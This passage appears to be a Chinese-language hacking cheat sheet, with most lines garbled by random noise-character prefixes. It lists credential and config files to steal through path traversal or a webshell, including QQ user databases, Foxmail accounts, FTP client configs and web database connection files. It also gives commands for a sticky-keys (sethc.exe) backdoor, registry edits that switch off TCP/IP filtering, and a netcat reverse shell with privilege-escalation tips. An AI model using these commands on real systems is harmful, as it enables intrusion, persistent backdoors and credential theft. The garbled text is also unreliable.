6 x2 [& b* Y$ B' ]( Cc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
* E# I& y; G4 f; E0 ac:\program files\tomcat6\bin\version.sh
( z  B; \% ~6 W2 h/ JC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
& x( W( `+ ^6 Ec:\Apache2\Apache2\bin\Apache.exe
8 J# m9 y( z# s7 F! Ac:\Apache2\bin\Apache.exe
% |. a& }3 X" q8 C0 D2 d/ J. ic:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
8 @8 F2 \/ h! w- ?; Q8 M" a& e5 z/ i/usr/share/tomcat6/bin/startup.sh
+ S* M" b0 J6 j6 R4 Y7 ?; g/usr/tomcat6/bin/startup.sh
& S/ z0 }4 O: R# Z5 xc:\Program Files\QQ2007\qq.exe
* z+ i, m1 v- Pc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
+ L- }) w, w+ P8 Cc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
& o+ v+ T2 X1 H6 Nc:\Program Files\Tencent\qq2008\qq.exe
/ q* P% ?. G! g1 f5 h9 O0 o' Bc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
. V; P) V" X+ x7 d; `# y) ]2 B" nC:\Program Files\tencent\Foxmal\accounts.cfg
. T% l4 n  I6 i' \2 ], M7 }C:\Program Files\LeapFTP 3.0\LeapFTP.exe
( l. T& D6 L( _. N7 K6 E* lC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
) L) {9 u* i  ^# y9 @( lc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
% Z* c& I+ |* y3 g6 `! X' _* w, SC:\Program Files\FlashFXP\FlashFXP.ini
% T: Y1 I( |+ U, v1 vC:\Program Files\FlashFXP\flashfxp.exe
. G0 a5 `; ?5 L8 J6 U$ B$ s/ qc:\Program Files\Oracle\bin\regsvr32.exe
+ |3 `( ]1 L1 g4 D( V4 Jc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
& o8 {) V, i  b; r8 h5 t  JC:\Program Files\StormII\Storm.exe

7 f. r  u/ f, R8 Z3.网站相对路径:
: ~+ a6 ~6 W( j' X7 S9 S- a, O) s
/config.php
../../config.php
../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
# W2 N' l- W/ B# L* G../../../config.inc.php
/conn.php
+ h4 N3 ?% V5 W: t./conn.php
../../conn.php
) C! B6 M! E/ _../conn.php
../../../conn.php
. E/ n0 F' @+ d! G" r: n/ u/conn.asp
./conn.asp
../../conn.asp
../conn.asp
/ F1 H9 M( @+ a6 X# }' Q- |../../../conn.asp
# N) m, c9 P2 H% S! o; ~% h/config.inc.php
./config.inc.php
6 s/ s/ I7 F' Y) S7 A( m' @../../config.inc.php
  j* o) R0 G/ l# F, V" c: t../config.inc.php
4 m8 f1 C/ L4 {- @: A../../../config.inc.php
/config/config.php
2 z; r$ _1 |+ {5 ^9 F2 o. h../../config/config.php
; X, C; T# P$ D/ S/ K" w% S../config/config.php
) p  d6 \* [% h2 w- f../../../config/config.php
/config/config.inc.php
$ i5 }& [3 _  U9 T" H1 o./config/config.inc.php
/ x  G" {' o6 T2 f+ a' c../../config/config.inc.php
  l( u" w% j5 G2 ^8 x../config/config.inc.php
+ w. i% _1 [! Q/ @../../../config/config.inc.php
& e) Z0 C) E! D" e, ?  G/config/conn.php
5 d+ d+ {: N0 y% P./config/conn.php
1 h7 S0 S. k' m# i4 x../../config/conn.php
& `1 _  |% P" A../config/conn.php
../../../config/conn.php
/config/conn.asp
1 `, o1 H; x) m) r; W/ E' O  Y; j./config/conn.asp
' O7 V5 Q' V* X$ Q. W7 F6 e* D! d( E. v../../config/conn.asp
../config/conn.asp
/ M8 M) [* A5 ]& X. e../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
$ o2 ]7 P: H% J/data/config.php
../../data/config.php
5 S: I2 b. Q& F. b3 A' R../data/config.php
../../../data/config.php
" J% Q2 p7 P2 ]/ \$ L/data/config.inc.php
, K9 `) w1 J" ^1 j6 B( R) l1 A./data/config.inc.php
9 j3 f2 E( M6 k; ^+ R; z( y../../data/config.inc.php
4 E1 A# x6 n: B4 c../data/config.inc.php
../../../data/config.inc.php
7 X+ w5 y+ b, I6 c" i/ g/data/conn.php
# i$ \1 I$ U9 l8 z./data/conn.php
../../data/conn.php
5 G, O3 V$ W( \7 Y3 X0 K../data/conn.php
; Z  \0 S" G8 k/ M$ g../../../data/conn.php
/data/conn.asp
./data/conn.asp
8 d4 }& d5 V0 i# d2 u; e: U9 _/ o../../data/conn.asp
../data/conn.asp
+ Z- d- k9 b: `2 r' W9 F7 a../../../data/conn.asp
/data/config.inc.php
: r7 _" m1 y3 i./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
/ [8 N% H! k: R5 v../../../data/config.inc.php
1 |+ n' a+ a# k4 v' p* @' W/include/config.php
../../include/config.php
& v; f8 s8 h  d- `, d../include/config.php
../../../include/config.php
/include/config.inc.php
+ r; @$ Q4 W4 q$ x./include/config.inc.php
../../include/config.inc.php
  A$ b5 E% K# d8 y4 S! G../include/config.inc.php
' j& r5 k7 k! v" O6 s% U../../../include/config.inc.php
# w5 w( I/ G" {0 i1 O3 N/include/conn.php
./include/conn.php
# i7 H2 y3 z7 k5 E../../include/conn.php
+ _* ~  F+ t! }, D../include/conn.php
- v3 [1 _& t- _* ^; ~$ n8 u* z- M../../../include/conn.php
/include/conn.asp
, Z" s  L8 M; }- v./include/conn.asp
../../include/conn.asp
, H+ H% x7 L& E# ]5 d../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
; Y& G8 N( t) J% k../../inc/config.php
9 M' o) ~6 b8 }+ C* N- `../inc/config.php
' @& n$ v  U6 \# t8 E/ e../../../inc/config.php
* r7 w4 `  u0 E$ ?3 d- }8 p2 e/inc/config.inc.php
3 U8 q+ i8 n+ s4 N% q& t- t% D./inc/config.inc.php
3 e! N4 c. T( E% i# g0 l' J../../inc/config.inc.php
../inc/config.inc.php
; ]# w) X3 P) A1 ?* x5 y../../../inc/config.inc.php
/ U2 |9 b5 y7 j7 \2 i+ Q/inc/conn.php
1 M7 A7 J% t& E; j& u./inc/conn.php
/ _. O7 W5 ]0 C../../inc/conn.php
../inc/conn.php
- L+ F) u4 _: B6 H../../../inc/conn.php
/inc/conn.asp
3 z" `) C( w& ]! P./inc/conn.asp
4 [# B' l7 P% {* e3 t% c& g# w8 P../../inc/conn.asp
( D3 m, j( \9 M9 i1 H../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
5 V( o- B" W5 b& y5 V+ m../../../inc/config.inc.php
6 K+ L, F+ _" o: \/index.php
./index.php
1 E% ^8 O( u& B( w" T../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
../index.asp
0 c: u& ~+ g1 `# {8 X../../../index.asp
/ S) C) r- \& U9 f2 j; k# j替换SHIFT后门
, ?, s1 X! a3 H6 S+ l- ]( W. I　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

  r' [6 x# n/ f5 ~( U8 {　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

: V2 H! J: c" Y8 l2 ~% m　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
2 i/ z0 X% A4 h1 J
　　attrib c:\windows\system32\sethc.exe +h +r +s
" E- n9 i. z8 i4 d- S9 v
- W5 G  |+ J2 t3 X/ E9 \　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
1 _& o) z: m5 I' h3 a5 O/ t. ^TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
- ], D* E. ?9 DHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
0 T5 W, v8 t& s( aHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

# n6 D- Q, x' W4 j( e分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
2 ~) O# @8 G# v# _' n- l% o7 mregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

4 [* J& z2 r, ^5 o* R, U再将以上三个文件分别用
: r" r7 m( c" ~regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
/ V# `3 K3 y, p& U- q) r# K9 ^
webshell提权小技巧
cmd路径:
- L7 T+ {6 r- T" r- W- ^c:\windows\temp\cmd.exe
% O, n5 P7 [# r& R  fnc也在同目录下
# @# U2 q$ _! n6 c例如反弹cmdshell：
2 j, r9 I3 r& v  P& c1 [/ a9 K2 M1 ]"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
8 t4 O5 s- b$ O2 S' `* g/ U  U
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
$ M5 N4 }* N0 `# i( O8 n+ S% S却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功